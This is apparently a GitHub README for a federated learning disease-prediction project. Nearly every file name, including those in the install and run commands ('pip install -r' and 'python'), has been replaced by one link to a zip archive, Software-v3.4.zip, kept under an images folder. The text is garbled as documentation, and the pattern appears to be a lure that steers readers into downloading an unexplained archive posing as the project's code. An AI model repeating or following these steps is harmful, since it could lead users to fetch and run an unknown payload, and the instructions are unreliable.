fedreted_learning

Federated Learning for Disease Prediction

This project implements a simple Federated Learning setup using TensorFlow, NumPy, and Pandas. It trains local models on different partitions of data and aggregates them using Federated Averaging.

FedHealth Architecture

Project Structure

├── data/
│   ├── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│   └── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│
├── models/
│   └── global_model.h5
│
├── results/
│   └── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│
├── src/
│   ├── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│   ├── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│   ├── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│   ├── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│   └── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│
├── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
└── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip

---

Folders

• data/: Contains the training and testing CSV files.
• models/: Stores the saved global model after federated training.
• results/: Contains evaluation results like accuracies.
• src/: Contains all Python source code split into modular files.

---

Files

• https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip: Functions for loading and preparing data.
• https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip: Functions for creating and evaluating models.
• https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip: Functions for client training and federated averaging.
• https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip: Main file to run the federated training pipeline.
• https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip: List of Python libraries needed.

---

How to Run

1. Install required packages:

pip install -r https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip

2. Run the main script:

python https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip

3. Outputs:
   • Global model saved at models/global_model.h5
   • Client accuracies and global accuracy saved at https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip

---

Requirements

• TensorFlow
• NumPy
• Pandas
• scikit-learn

---

Notes

• This project is designed for understanding basic federated learning concepts.
• You can adjust num_clients in https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip to simulate different numbers of clients.
• You can replace the dataset with any other classification dataset for experiments.

---

Made with for learning federated machine learning!